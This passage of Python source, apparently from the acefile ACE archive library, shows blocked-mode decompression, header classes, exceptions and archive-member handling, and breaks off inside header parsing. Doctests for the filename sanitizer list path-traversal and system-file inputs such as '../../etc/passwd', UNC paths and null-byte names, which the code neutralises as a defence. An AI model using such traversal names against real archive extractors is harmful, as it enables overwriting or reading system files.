file-like-object *f* containing compressed bytes that will be 2163 | decompressed to *filesize* bytes. Decompressed data will be yielded 2164 | in blocks of undefined size upon availability. 2165 | """ 2166 | self.__lz77.dic_setsize(dicsize) 2167 | self.__lz77.reinit() 2168 | bs = BitStream(f) 2169 | producedsize = 0 2170 | while producedsize < filesize: 2171 | outchunk, next_mode = self.__lz77.read(bs, filesize) 2172 | if next_mode: 2173 | raise CorruptedArchiveError("LZ77.TYPECODE in ACE 1.0 LZ77") 2174 | yield bytes(outchunk) 2175 | producedsize += len(outchunk) 2176 | 2177 | def decompress_blocked(self, f, filesize, dicsize): 2178 | """ 2179 | Decompress data compressed using the ACE 2.0 blocked method from 2180 | file-like-object *f* containing compressed bytes that will be 2181 | decompressed to *filesize* bytes. Decompressed data will be yielded 2182 | in blocks of undefined size upon availability. 2183 | """ 2184 | bs = BitStream(f) 2185 | self.__lz77.dic_setsize(dicsize) 2186 | self.__lz77.reinit() 2187 | 2188 | # LZ77_EXE 2189 | exe_leftover = [] 2190 | 2191 | # LZ77_DELTA 2192 | last_delta = 0 2193 | 2194 | next_mode = None 2195 | mode = AceMode(ACE.MODE_LZ77) 2196 | 2197 | producedsize = 0 2198 | while producedsize < filesize: 2199 | if next_mode != None: 2200 | if mode.mode != next_mode.mode: 2201 | if next_mode.mode in (ACE.MODE_SOUND_8, 2202 | ACE.MODE_SOUND_16, 2203 | ACE.MODE_SOUND_32A, 2204 | ACE.MODE_SOUND_32B): 2205 | self.__sound.reinit(next_mode.mode) 2206 | elif next_mode.mode == ACE.MODE_PIC: 2207 | self.__pic.reinit(bs) 2208 | 2209 | mode = next_mode 2210 | next_mode = None 2211 | 2212 | outchunk = [] 2213 | if mode.mode == ACE.MODE_LZ77_DELTA: 2214 | # Preprocessor that rearranges chunks of data and calculates 2215 | # differences between byte values, resulting in a higher 2216 | # LZ77 compression ratio for some inputs. 2217 | delta = [] 2218 | while len(delta) < mode.delta_len: 2219 | chunk, nm = self.__lz77.read(bs, 2220 | mode.delta_len - len(delta)) 2221 | if len(delta) == 0: 2222 | # avoid costly copy 2223 | delta = chunk 2224 | else: 2225 | delta.extend(chunk) 2226 | if nm != None: 2227 | if next_mode: 2228 | raise CorruptedArchiveError("DELTA clobbers mode") 2229 | next_mode = nm 2230 | if len(delta) == 0: 2231 | break 2232 | if len(delta) == 0 and next_mode != None: 2233 | continue 2234 | 2235 | for i in range(len(delta)): 2236 | delta[i] = c_uchar(delta[i] + last_delta) 2237 | last_delta = delta[i] 2238 | 2239 | delta_plane = 0 2240 | delta_plane_pos = 0 2241 | delta_plane_size = mode.delta_len // mode.delta_dist 2242 | while delta_plane_pos < delta_plane_size: 2243 | while delta_plane < mode.delta_len: 2244 | outchunk.append(delta[delta_plane + delta_plane_pos]) 2245 | delta_plane += delta_plane_size 2246 | delta_plane = 0 2247 | delta_plane_pos += 1 2248 | # end of ACE.MODE_LZ77_DELTA 2249 | 2250 | elif mode.mode in (ACE.MODE_LZ77, ACE.MODE_LZ77_EXE): 2251 | if len(exe_leftover) > 0: 2252 | outchunk.extend(exe_leftover) 2253 | exe_leftover = [] 2254 | chunk, next_mode = self.__lz77.read(bs, 2255 | filesize - producedsize - len(outchunk)) 2256 | outchunk.extend(chunk) 2257 | 2258 | if mode.mode == ACE.MODE_LZ77_EXE: 2259 | # Preprocessor that adjusts target addresses of 2260 | # x86 JMP and CALL instructions in order to achieve a 2261 | # higher LZ77 compression ratio for executables. 2262 | it = iter(range(len(outchunk))) 2263 | for i in it: 2264 | if i + 4 >= len(outchunk): 2265 | break 2266 | if outchunk[i] == 0xE8: # CALL rel16/rel32 2267 | pos = producedsize + i 2268 | if mode.exe_mode == 0: 2269 | # rel16 2270 | #assert i + 2 < len(outchunk) 2271 | rel16 = outchunk[i+1] + (outchunk[i+2] << 8) 2272 | rel16 = (rel16 - pos) & 0xFFFF 2273 | outchunk[i+1] = rel16 & 0xFF 2274 | outchunk[i+2] = (rel16 >> 8) & 0xFF 2275 | next(it); next(it) 2276 | else: 2277 | # rel32 2278 | #assert i + 4 < len(outchunk) 2279 | rel32 = outchunk[i+1] + \ 2280 | (outchunk[i+2] << 8) + \ 2281 | (outchunk[i+3] << 16) + \ 2282 | (outchunk[i+4] << 24) 2283 | rel32 = (rel32 - pos) & 0xFFFFFFFF 2284 | outchunk[i+1] = rel32 & 0xFF 2285 | outchunk[i+2] = (rel32 >> 8) & 0xFF 2286 | outchunk[i+3] = (rel32 >> 16) & 0xFF 2287 | outchunk[i+4] = (rel32 >> 24) & 0xFF 2288 | next(it); next(it); next(it); next(it) 2289 | elif outchunk[i] == 0xE9: # JMP rel16/rel32 2290 | pos = producedsize + i 2291 | # rel16 2292 | #assert i + 2 < len(outchunk) 2293 | rel16 = outchunk[i+1] + (outchunk[i+2] << 8) 2294 | rel16 = (rel16 - pos) & 0xFFFF 2295 | outchunk[i+1] = rel16 & 0xFF 2296 | outchunk[i+2] = (rel16 >> 8) & 0xFF 2297 | next(it); next(it) 2298 | # store max 4 bytes for next loop; this can happen when 2299 | # changing between different exe modes after the opcode 2300 | # but before completing the machine instruction 2301 | for i in it: 2302 | #assert i + 4 >= len(outchunk) 2303 | if outchunk[i] == 0xE8 or outchunk[i] == 0xE9: 2304 | exe_leftover = outchunk[i:] 2305 | outchunk = outchunk[:i] 2306 | # end of ACE.MODE_LZ77_EXE 2307 | # end of ACE.MODE_LZ77 or ACE.MODE_LZ77_EXE 2308 | 2309 | elif mode.mode in (ACE.MODE_SOUND_8, ACE.MODE_SOUND_16, 2310 | ACE.MODE_SOUND_32A, ACE.MODE_SOUND_32B): 2311 | outchunk, next_mode = self.__sound.read(bs, 2312 | filesize - producedsize) 2313 | self.__lz77.dic_register(outchunk) 2314 | # end of ACE.MODE_SOUND_* 2315 | 2316 | elif mode.mode == ACE.MODE_PIC: 2317 | outchunk, next_mode = self.__pic.read(bs, 2318 | filesize - producedsize) 2319 | self.__lz77.dic_register(outchunk) 2320 | # end of ACE.MODE_PIC 2321 | 2322 | else: 2323 | raise CorruptedArchiveError("unknown mode: %s" % mode) 2324 | 2325 | yield bytes(outchunk) 2326 | producedsize += len(outchunk) 2327 | # end of block loop 2328 | return producedsize 2329 | 2330 | 2331 | 2332 | class Header: 2333 | """ 2334 | Base class for all ACE file format headers. 2335 | Header classes are dumb by design and only serve as fancy structs. 2336 | """ 2337 | MAGIC = b'**ACE**' 2338 | 2339 | TYPE_MAIN = 0 2340 | TYPE_FILE32 = 1 2341 | TYPE_RECOVERY32 = 2 2342 | TYPE_FILE64 = 3 2343 | TYPE_RECOVERY64A = 4 2344 | TYPE_RECOVERY64B = 5 2345 | TYPE_STRINGS = ('MAIN', 'FILE32', 'RECOVERY32', 2346 | 'FILE64', 'RECOVERY64A', 'RECOVERY64B') 2347 | 2348 | FLAG_ADDSIZE = 1 << 0 # 1 iff addsize field present MFR 2349 | FLAG_COMMENT = 1 << 1 # 1 iff comment present MF- 2350 | FLAG_64BIT = 1 << 2 # 1 iff 64bit addsize field -FR 2351 | FLAG_V20FORMAT = 1 << 8 # 1 iff ACE 2.0 format M-- 2352 | FLAG_SFX = 1 << 9 # 1 iff self extracting archive M-- 2353 | FLAG_LIMITSFXJR = 1 << 10 # 1 iff dict size limited to 256K M-- 2354 | FLAG_NTSECURITY = 1 << 10 # 1 iff NTFS security data present -F- 2355 | FLAG_MULTIVOLUME = 1 << 11 # 1 iff archive has multiple volumes M-- 2356 | FLAG_ADVERT = 1 << 12 # 1 iff advert string present M-- 2357 | FLAG_CONTPREV = 1 << 12 # 1 iff continued from previous volume -F- 2358 | FLAG_RECOVERY = 1 << 13 # 1 iff recovery record present M-- 2359 | FLAG_CONTNEXT = 1 << 13 # 1 iff continued in next volume -F- 2360 | FLAG_LOCKED = 1 << 14 # 1 iff archive is locked M-- 2361 | FLAG_PASSWORD = 1 << 14 # 1 iff password encrypted -F- 2362 | FLAG_SOLID = 1 << 15 # 1 iff archive is solid MF- 2363 | FLAG_STRINGS_M = ('ADDSIZE', 'COMMENT', '4', '8', 2364 | '16', '32', '64', '128', 2365 | 'V20FORMAT', 'SFX', 'LIMITSFXJR', 'MULTIVOLUME', 2366 | 'ADVERT', 'RECOVERY', 'LOCKED', 'SOLID') 2367 | FLAG_STRINGS_F = ('ADDSIZE', 'COMMENT', '64BIT', '8', 2368 | '16', '32', '64', '128', 2369 | '256', '512', 'NTSECURITY', '2048', 2370 | 'CONTPREV', 'CONTNEXT', 'PASSWORD', 'SOLID') 2371 | FLAG_STRINGS_R = ('ADDSIZE', '2', '64BIT', '8', 2372 | '16', '32', '64', '128', 2373 | '256', '512', '1024', '2048', 2374 | '4096', '8192', '16384', '32768') 2375 | FLAG_STRINGS_BYTYPE = (FLAG_STRINGS_M, FLAG_STRINGS_F, FLAG_STRINGS_R, 2376 | FLAG_STRINGS_F, FLAG_STRINGS_R, FLAG_STRINGS_R) 2377 | 2378 | HOST_MSDOS = 0 2379 | HOST_OS2 = 1 2380 | HOST_WIN32 = 2 2381 | HOST_UNIX = 3 2382 | HOST_MAC_OS = 4 2383 | HOST_WIN_NT = 5 2384 | HOST_PRIMOS = 6 2385 | HOST_APPLE_GS = 7 2386 | HOST_ATARI = 8 2387 | HOST_VAX_VMS = 9 2388 | HOST_AMIGA = 10 2389 | HOST_NEXT = 11 2390 | HOST_LINUX = 12 2391 | HOST_STRINGS = ('MS-DOS', 'OS/2', 'Win32', 'Unix', 'Mac OS', 2392 | 'Win NT', 'Primos', 'Apple GS', 'ATARI', 'VAX VMS', 2393 | 'AMIGA', 'NeXT', 'Linux') 2394 | 2395 | COMP_STORED = 0 2396 | COMP_LZ77 = 1 2397 | COMP_BLOCKED = 2 2398 | COMP_STRINGS = ('stored', 'lz77', 'blocked') 2399 | 2400 | QUAL_NONE = 0 2401 | QUAL_FASTEST = 1 2402 | QUAL_FAST = 2 2403 | QUAL_NORMAL = 3 2404 | QUAL_GOOD = 4 2405 | QUAL_BEST = 5 2406 | QUAL_STRINGS = ('store', 'fastest', 'fast', 'normal', 'good', 'best') 2407 | 2408 | # winnt.h 2409 | ATTR_READONLY = 0x00000001 2410 | ATTR_HIDDEN = 0x00000002 2411 | ATTR_SYSTEM = 0x00000004 2412 | ATTR_VOLUME_ID = 0x00000008 2413 | ATTR_DIRECTORY = 0x00000010 2414 | ATTR_ARCHIVE = 0x00000020 2415 | ATTR_DEVICE = 0x00000040 2416 | ATTR_NORMAL = 0x00000080 2417 | ATTR_TEMPORARY = 0x00000100 2418 | ATTR_SPARSE_FILE = 0x00000200 2419 | ATTR_REPARSE_POINT = 0x00000400 2420 | ATTR_COMPRESSED = 0x00000800 2421 | ATTR_OFFLINE = 0x00001000 2422 | ATTR_NOT_CONTENT_INDEXED = 0x00002000 2423 | ATTR_ENCRYPTED = 0x00004000 2424 | ATTR_INTEGRITY_STREAM = 0x00008000 2425 | ATTR_VIRTUAL = 0x00010000 2426 | ATTR_NO_SCRUB_DATA = 0x00020000 2427 | ATTR_EA = 0x00040000 2428 | ATTR_STRINGS = ('READONLY', 'HIDDEN', 'SYSTEM', 'VOLUME_ID', 2429 | 'DIRECTORY', 'ARCHIVE', 'DEVICE', 'NORMAL', 2430 | 'TEMPORARY', 'SPARSE_FILE', 2431 | 'REPARSE_POINT', 'COMPRESSED', 2432 | 'OFFLINE', 'NOT_CONTENT_INDEXED', 2433 | 'ENCRYPTED', 'INTEGRITY_STREAM', 2434 | 'VIRTUAL', 'NO_SCRUB_DATA', 'EA') 2435 | 2436 | @staticmethod 2437 | def _format_bitfield(strings, field): 2438 | labels = [] 2439 | for i in range(field.bit_length()): 2440 | bit = 1 << i 2441 | if field & bit == bit: 2442 | try: 2443 | labels.append(strings[i]) 2444 | except IndexError: 2445 | labels.append(str(bit)) 2446 | return '|'.join(labels) 2447 | 2448 | def __init__(self, crc, size, type, flags): 2449 | self.hdr_crc = crc # uint16 header crc without crc,sz 2450 | self.hdr_size = size # uint16 header size without crc,sz 2451 | self.hdr_type = type # uint8 2452 | self.hdr_flags = flags # uint16 2453 | 2454 | def __str__(self): 2455 | return """header 2456 | hdr_crc 0x%04x 2457 | hdr_size %i 2458 | hdr_type 0x%02x %s 2459 | hdr_flags 0x%04x %s""" % ( 2460 | self.hdr_crc, 2461 | self.hdr_size, 2462 | self.hdr_type, self.hdr_type_str, 2463 | self.hdr_flags, self.hdr_flags_str) 2464 | 2465 | def flag(self, flag): 2466 | return self.hdr_flags & flag == flag 2467 | 2468 | @property 2469 | def hdr_type_str(self): 2470 | try: 2471 | return Header.TYPE_STRINGS[self.hdr_type] 2472 | except IndexError: 2473 | return '?' 2474 | 2475 | @property 2476 | def hdr_flags_str(self): 2477 | try: 2478 | strings = self.FLAG_STRINGS_BYTYPE[self.hdr_type] 2479 | return self._format_bitfield(strings, self.hdr_flags) 2480 | except IndexError: 2481 | return '?' 2482 | 2483 | 2484 | 2485 | class UnknownHeader(Header): 2486 | pass 2487 | 2488 | 2489 | 2490 | class MainHeader(Header): 2491 | def __init__(self, *args): 2492 | super().__init__(*args) 2493 | self.magic = None # uint8[7] **ACE** 2494 | self.eversion = None # uint8 extract version 2495 | self.cversion = None # uint8 creator version 2496 | self.host = None # uint8 platform 2497 | self.volume = None # uint8 volume number 2498 | self.datetime = None # uint32 date/time in MS-DOS format 2499 | self.reserved1 = None # uint8[8] 2500 | self.advert = b'' # [uint8] optional 2501 | self.comment = b'' # [uint16] optional, compressed 2502 | self.reserved2 = None # [?] optional 2503 | 2504 | def __str__(self): 2505 | return super().__str__() + """ 2506 | magic %r 2507 | eversion %i %s 2508 | cversion %i %s 2509 | host 0x%02x %s 2510 | volume %i 2511 | datetime 0x%08x %s 2512 | reserved1 %02x %02x %02x %02x %02x %02x %02x %02x 2513 | advert %r 2514 | comment %r 2515 | reserved2 %r""" % ( 2516 | self.magic, 2517 | self.eversion, self.eversion/10, 2518 | self.cversion, self.cversion/10, 2519 | self.host, self.host_str, 2520 | self.volume, 2521 | self.datetime, 2522 | _dt_fromdos(self.datetime).strftime('%Y-%m-%d %H:%M:%S'), 2523 | self.reserved1[0], self.reserved1[1], 2524 | self.reserved1[2], self.reserved1[3], 2525 | self.reserved1[4], self.reserved1[5], 2526 | self.reserved1[6], self.reserved1[7], 2527 | self.advert, 2528 | self.comment, 2529 | self.reserved2) 2530 | 2531 | @property 2532 | def host_str(self): 2533 | try: 2534 | return Header.HOST_STRINGS[self.host] 2535 | except IndexError: 2536 | return '?' 2537 | 2538 | 2539 | 2540 | class FileHeader(Header): 2541 | def __init__(self, *args): 2542 | super().__init__(*args) 2543 | self.packsize = None # uint32|64 packed size 2544 | self.origsize = None # uint32|64 original size 2545 | self.datetime = None # uint32 ctime 2546 | self.attribs = None # uint32 file attributes 2547 | self.crc32 = None # uint32 checksum over compressed file 2548 | self.comptype = None # uint8 compression type 2549 | self.compqual = None # uint8 compression quality 2550 | self.params = None # uint16 decompression parameters 2551 | self.reserved1 = None # uint16 2552 | self.filename = None # [uint16] 2553 | self.comment = b'' # [uint16] optional, compressed 2554 | self.ntsecurity = b'' # [uint16] optional 2555 | self.reserved2 = None # ? 2556 | self.dataoffset = None # position of data after hdr 2557 | 2558 | def __str__(self): 2559 | return super().__str__() + """ 2560 | packsize %i 2561 | origsize %i 2562 | datetime 0x%08x %s 2563 | attribs 0x%08x %s 2564 | crc32 0x%08x 2565 | comptype 0x%02x %s 2566 | compqual 0x%02x %s 2567 | params 0x%04x 2568 | reserved1 0x%04x 2569 | filename %r 2570 | comment %r 2571 | ntsecurity %r 2572 | reserved2 %r""" % ( 2573 | self.packsize, 2574 | self.origsize, 2575 | self.datetime, 2576 | _dt_fromdos(self.datetime).strftime('%Y-%m-%d %H:%M:%S'), 2577 | self.attribs, self.attribs_str, 2578 | self.crc32, 2579 | self.comptype, self.comptype_str, 2580 | self.compqual, self.compqual_str, 2581 | self.params, 2582 | self.reserved1, 2583 | self.filename, 2584 | self.comment, 2585 | self.ntsecurity, 2586 | self.reserved2) 2587 | 2588 | def attrib(self, attrib): 2589 | return self.attribs & attrib == attrib 2590 | 2591 | @property 2592 | def attribs_str(self): 2593 | return self._format_bitfield(Header.ATTR_STRINGS, self.attribs) 2594 | 2595 | @property 2596 | def comptype_str(self): 2597 | try: 2598 | return Header.COMP_STRINGS[self.comptype] 2599 | except IndexError: 2600 | return '?' 2601 | 2602 | @property 2603 | def compqual_str(self): 2604 | try: 2605 | return Header.QUAL_STRINGS[self.compqual] 2606 | except IndexError: 2607 | return '?' 2608 | 2609 | 2610 | 2611 | class AceError(Exception): 2612 | """ 2613 | Base class for all :mod:`acefile` exceptions. 2614 | """ 2615 | pass 2616 | 2617 | class MainHeaderNotFoundError(AceError): 2618 | """ 2619 | The main ACE header marked by the magic bytes ``**ACE**`` could not be 2620 | found. 2621 | Either the *search* argument was to small or the archive is not an ACE 2622 | format archive. 2623 | """ 2624 | pass 2625 | 2626 | class MultiVolumeArchiveError(AceError): 2627 | """ 2628 | A multi-volume archive was expected but a normal archive was found, or 2629 | mismatching volumes were provided, or while reading a member from a 2630 | multi-volume archive, the member headers indicate that the member 2631 | continues in the next volume, but no next volume was found or provided. 2632 | """ 2633 | pass 2634 | 2635 | class CorruptedArchiveError(AceError): 2636 | """ 2637 | Archive is corrupted. Either a header or data CRC check failed, an invalid 2638 | value was read from the archive or the archive is truncated. 2639 | """ 2640 | pass 2641 | 2642 | class EncryptedArchiveError(AceError): 2643 | """ 2644 | Archive member is encrypted but either no password was provided, or 2645 | decompression failed with the given password. 2646 | Also raised when processing an encrypted solid archive member out of order, 2647 | when any previous archive member uses a different password than the archive 2648 | member currently being accessed. 2649 | 2650 | .. note:: 2651 | 2652 | Due to the lack of a password verifier in the ACE file format, there is 2653 | no straightforward way to distinguish a wrong password from a corrupted 2654 | archive. If the CRC check of an encrypted archive member fails or an 2655 | :class:`CorruptedArchiveError` is encountered during decompression, it 2656 | is assumed that the password was wrong and as a consequence, 2657 | :class:`EncryptedArchiveError` is raised. 2658 | """ 2659 | pass 2660 | 2661 | class UnknownCompressionMethodError(AceError): 2662 | """ 2663 | Data was compressed using an unknown compression method and therefore 2664 | cannot be decompressed using this implementation. This should not happen 2665 | for ACE 1.0 or ACE 2.0 archives since this implementation implements all 2666 | existing compression methods. 2667 | """ 2668 | pass 2669 | 2670 | 2671 | 2672 | class AceMember: 2673 | """ 2674 | Represents a single archive member, potentially spanning multiple 2675 | archive volumes. 2676 | :class:`AceMember` is not directly instantiated; instead, instances are 2677 | returned by :meth:`AceArchive.getmember` and :meth:`AceArchive.getmembers`. 2678 | """ 2679 | 2680 | # https://msdn.microsoft.com/en-us/library/windows/desktop/aa365247 2681 | if platform.system() == 'Windows': 2682 | RESERVED_NAMES = ('CON', 'PRN', 'AUX', 'NUL', 'COM1', 'COM2', 'COM3', 2683 | 'COM4', 'COM5', 'COM6', 'COM7', 'COM8', 'COM9', 2684 | 'LPT1', 'LPT2', 'LPT3', 'LPT4', 'LPT5', 'LPT6', 2685 | 'LPT7', 'LPT8', 'LPT9') 2686 | else: 2687 | RESERVED_NAMES = () 2688 | 2689 | RESERVED_CHARS = ':<>"?*|' + ''.join([chr(x) for x in range(1,32)]) 2690 | TRANSLATION_TAB = str.maketrans(dict.fromkeys(RESERVED_CHARS)) 2691 | 2692 | @staticmethod 2693 | def _sanitize_filename(filename): 2694 | """ 2695 | Decode and sanitize filename for security and platform independence. 2696 | Returns either a sanitized relative path, or an empty string. 2697 | 2698 | >>> AceMember._sanitize_filename(b'a.exe\\0b.txt') 2699 | 'a.exe' 2700 | >>> AceMember._sanitize_filename(b'\\\\etc\\\\foo/bar\\\\baz.txt') 2701 | 'etc/foo/bar/baz.txt' 2702 | >>> AceMember._sanitize_filename(b'a/b/../b/.//.././c/.//../d/file.txt') 2703 | 'a/d/file.txt' 2704 | >>> AceMember._sanitize_filename(b'/etc/passwd') 2705 | 'etc/passwd' 2706 | >>> AceMember._sanitize_filename(b'.././.././.././.././../etc/passwd') 2707 | 'etc/passwd' 2708 | >>> AceMember._sanitize_filename(b'C:\\\\Windows\\\\foo.exe') 2709 | 'C/Windows/foo.exe' 2710 | >>> AceMember._sanitize_filename(b'\\\\\\\\server\\\\share\\\\file') 2711 | 'server/share/file' 2712 | >>> AceMember._sanitize_filename(b'\\\\\\\\.\\\\CdRom0') 2713 | 'CdRom0' 2714 | >>> AceMember._sanitize_filename(b'\\\\\\\\?\\\\raw\\\\path') 2715 | 'raw/path' 2716 | >>> AceMember._sanitize_filename(b'hello\x05world') 2717 | 'helloworld' 2718 | >>> AceMember._sanitize_filename(b'.././.././.././.././../etc/../') 2719 | '' 2720 | """ 2721 | filename = filename.decode('utf-8', errors='replace') 2722 | # treat null byte as filename terminator 2723 | nullbyte = filename.find(chr(0)) 2724 | if nullbyte >= 0: 2725 | filename = filename[0:nullbyte] 2726 | # ensure path separators are consistent with current platform 2727 | if os.sep != '/': 2728 | filename = filename.replace('/', os.sep) 2729 | elif os.sep != '\\': 2730 | filename = filename.replace('\\', os.sep) 2731 | # eliminate characters illegal on some platforms 2732 | filename = filename.translate(AceMember.TRANSLATION_TAB) 2733 | # first eliminate all /./, foo/../ and similar sequences, then remove 2734 | # all remaining .. labels in order to avoid path traversal attacks but 2735 | # still allow a safe subset of dot syntax in the filename 2736 | filename = os.path.normpath(filename) 2737 | escsep = re.escape(os.sep) 2738 | pattern = r'(^|%s)(?:\.\.(?:%s|$))+' % (escsep, escsep) 2739 | filename = re.sub(pattern, r'\1', filename) 2740 | filename = filename.lstrip(os.sep) 2741 | if filename in AceMember.RESERVED_NAMES: 2742 | return '_' + filename 2743 | return filename 2744 | 2745 | def __init__(self, idx, filehdrs, f): 2746 | """ 2747 | Initialize an :class:`AceMember` object with index within archive *idx*, 2748 | initial file header *filehdr* and underlying file-like object *f*. 2749 | """ 2750 | self._idx = idx 2751 | self._file = f 2752 | self._headers = filehdrs 2753 | self.__attribs = filehdrs[0].attribs 2754 | self.__comment = filehdrs[0].comment.decode('utf-8', 2755 | errors='replace') 2756 | self.__crc32 = filehdrs[-1].crc32 2757 | self.__comptype = filehdrs[0].comptype 2758 | self.__compqual = filehdrs[0].compqual 2759 | self.__datetime = _dt_fromdos(filehdrs[0].datetime) 2760 | self.__dicsizebits = (filehdrs[0].params & 15) + 10 2761 | self.__dicsize = 1 << self.__dicsizebits 2762 | self.__raw_filename = filehdrs[0].filename 2763 | 2764 | self.__filename = self._sanitize_filename(filehdrs[0].filename) 2765 | if self.__filename == '': 2766 | self.__filename = 'file%04i' % self._idx 2767 | self.__ntsecurity = filehdrs[0].ntsecurity 2768 | self.__size = filehdrs[0].origsize 2769 | self.__packsize = 0 2770 | for hdr in filehdrs: 2771 | self.__packsize += hdr.packsize 2772 | 2773 | def is_dir(self): 2774 | """ 2775 | True iff :class:`AceMember` instance describes a directory. 2776 | """ 2777 | return self.attribs & Header.ATTR_DIRECTORY != 0 2778 | 2779 | def is_enc(self): 2780 | """ 2781 | True iff :class:`AceMember` instance describes an encrypted archive 2782 | member. 2783 | """ 2784 | return self._headers[0].flag(Header.FLAG_PASSWORD) 2785 | 2786 | def is_reg(self): 2787 | """ 2788 | True iff :class:`AceMember` instance describes a regular file. 2789 | """ 2790 | return not self.is_dir() 2791 | 2792 | @property 2793 | def attribs(self): 2794 | """ 2795 | DOS/Windows file attribute bit field, as :class:`int`, 2796 | as produced by the Windows :func:`GetFileAttributes` API. 2797 | """ 2798 | return self.__attribs 2799 | 2800 | @property 2801 | def comment(self): 2802 | """ 2803 | File-level comment, as :class:`str`. 2804 | If absent, empty :class:`str`. 2805 | """ 2806 | return self.__comment 2807 | 2808 | @property 2809 | def comptype(self): 2810 | """ 2811 | Compression type used; one of 2812 | :data:`COMP_STORED`, 2813 | :data:`COMP_LZ77` or 2814 | :data:`COMP_BLOCKED`. 2815 | """ 2816 | return self.__comptype 2817 | 2818 | @property 2819 | def compqual(self): 2820 | """ 2821 | Compression quality used; one of 2822 | :data:`QUAL_NONE`, 2823 | :data:`QUAL_FASTEST`, 2824 | :data:`QUAL_FAST`, 2825 | :data:`QUAL_NORMAL`, 2826 | :data:`QUAL_GOOD` or 2827 | :data:`QUAL_BEST`. 2828 | """ 2829 | return self.__compqual 2830 | 2831 | @property 2832 | def crc32(self): 2833 | """ 2834 | ACE CRC-32 checksum of decompressed data as recorded in the archive, 2835 | as :class:`int`. 2836 | ACE CRC-32 is the bitwise inverse of standard CRC-32. 2837 | """ 2838 | return self.__crc32 2839 | 2840 | @property 2841 | def datetime(self): 2842 | """ 2843 | Timestamp as recorded in the archive, as :class:`datetime.datetime` 2844 | instance. 2845 | """ 2846 | return self.__datetime 2847 | 2848 | @property 2849 | def dicsize(self): 2850 | """ 2851 | LZ77 dictionary size required for extraction of this archive member 2852 | in literal symbols, ranging from 1K to 4M. 2853 | """ 2854 | return 1 << self.__dicsizebits 2855 | 2856 | @property 2857 | def dicsizebits(self): 2858 | """ 2859 | LZ77 dictionary size bit length, i.e. the base-two logarithm of the 2860 | dictionary size required for extraction of this archive member. 2861 | """ 2862 | return self.__dicsizebits 2863 | 2864 | @property 2865 | def filename(self): 2866 | """ 2867 | Sanitized filename, as :class:`str`, safe for use with file 2868 | operations on the current platform. 2869 | """ 2870 | return self.__filename 2871 | 2872 | @property 2873 | def ntsecurity(self): 2874 | """ 2875 | NT security descriptor as :class:`bytes`, describing the owner, primary 2876 | group and discretionary access control list (DACL) of the archive 2877 | member, as produced by the Windows :func:`GetFileSecurity` API with the 2878 | :data:`OWNER_SECURITY_INFORMATION`, 2879 | :data:`GROUP_SECURITY_INFORMATION` and 2880 | :data:`DACL_SECURITY_INFORMATION` flags set. 2881 | If absent, empty :class:`bytes`. 2882 | """ 2883 | return self.__ntsecurity 2884 | 2885 | @property 2886 | def packsize(self): 2887 | """ 2888 | Size before decompression (packed size). 2889 | """ 2890 | return self.__packsize 2891 | 2892 | @property 2893 | def raw_filename(self): 2894 | """ 2895 | Raw, unsanitized filename, as :class:`bytes`, not safe for use with 2896 | file operations and possibly using path syntax from other platforms. 2897 | """ 2898 | return self.__raw_filename 2899 | 2900 | @property 2901 | def size(self): 2902 | """ 2903 | Size after decompression (original size). 2904 | """ 2905 | return self.__size 2906 | 2907 | 2908 | 2909 | class AceVolume: 2910 | """ 2911 | Parse and represent a single archive volume. 2912 | """ 2913 | 2914 | def __init__(self, file, mode='r', *, search=524288, _idx=0, _am=None): 2915 | if mode != 'r': 2916 | raise NotImplementedError("mode != 'r' not implemented") 2917 | if isinstance(file, str): 2918 | self.__file = builtins.open(file, 'rb') 2919 | self.__filename = file 2920 | else: 2921 | if not file.seekable(): 2922 | raise TypeError("file must be filename or " 2923 | "seekable file-like object") 2924 | self.__file = file 2925 | self.__filename = '-' 2926 | self.__file.seek(0, 2) 2927 | self.__filesize = self.__file.tell() 2928 | self.__main_header = None 2929 | self.__file_headers = [] 2930 | self.__all_headers = [] 2931 | try: 2932 | self._parse_headers(search) 2933 | if self.__main_header == None: 2934 | raise CorruptedArchiveError("no main header") 2935 | except: 2936 | self.close() 2937 | raise 2938 | 2939 | def close(self): 2940 | """ 2941 | Close the underlying file object for this volume. 2942 | Can safely be called multiple times. 2943 | """ 2944 | if self.__file != None: 2945 | self.__file.close() 2946 | self.__file = None 2947 | 2948 | def dumpheaders(self, file=sys.stdout): 2949 | """ 2950 | Dump ACE headers in this archive volume to *file*. 2951 | """ 2952 | print("""volume 2953 | filename %s 2954 | filesize %i 2955 | headers MAIN:1 FILE:%i others:%i""" % ( 2956 | self.__filename, 2957 | self.__filesize, 2958 | len(self.__file_headers), 2959 | len(self.__all_headers) - len(self.__file_headers) - 1), 2960 | file=file) 2961 | for h in self.__all_headers: 2962 | print(h,file=file) 2963 | 2964 | def file_segment_for(self, fhdr): 2965 | """ 2966 | Returns a :class:`FileSegmentIO` object for the file header *fhdr* 2967 | belonging to this volume. 2968 | """ 2969 | assert fhdr in self.__file_headers 2970 | return FileSegmentIO(self.__file, fhdr.dataoffset, fhdr.packsize) 2971 | 2972 | def _next_filename(self): 2973 | """ 2974 | Derive the filename of the next volume after this one. 2975 | If the filename ends in ``.[cC]XX``, XX is incremented by 1. 2976 | Otherwise self is assumed to be the first in the series and 2977 | ``.[cC]00`` is used as extension. 2978 | Returns the derived filename in two variants, upper and lower case, 2979 | to allow for finding the file on fully case-sensitive filesystems. 2980 | """ 2981 | base, ext = os.path.splitext(self.__filename) 2982 | ext = ext.lower() 2983 | if ext[:2] == '.c': 2984 | try: 2985 | n = int(ext[2:]) 2986 | return (base + ('.c%02i' % (n + 1)), 2987 | base + ('.C%02i' % (n + 1))) 2988 | except ValueError: 2989 | pass 2990 | return (base + '.c00', 2991 | base + '.C00') 2992 | 2993 | def try_load_next_volume(self, mode): 2994 | """ 2995 | Open the next volume following this one in a multi-volume archive 2996 | and return the instantiated :class:`AceVolume` object. 2997 | """ 2998 | for nextname in self._next_filename(): 2999 | try: 3000 | return AceVolume(nextname, mode=mode, search=0) 3001 | except FileNotFoundError: 3002 | continue 3003 | return None 3004 | 3005 | def _parse_headers(self, search): 3006 | """ 3007 | Parse ACE headers from self.__file. If *search* is > 0, search for 3008 | the magic bytes in the first *search* bytes of the file. 3009 | Raises MainHeaderNotFoundError if the main header could not be located. 3010 | Raises other exceptions if parsing fails for other reasons. 3011 | On success, loads all the parsed headers into 3012 | self.__main_header, self.__file_headers and/or self.__all_headers. 3013 | """ 3014 | self.__file.seek(0, 0) 3015 | buf = self.__file.read(512) 3016 | found_at_start = False 3017 | if buf[7:14] == MainHeader.MAGIC: 3018 | self.__file.seek(0, 0) 3019 | try: 3020 | self._parse_header() 3021 | found_at_start = True 3022 | except CorruptedArchiveError: 3023 | pass 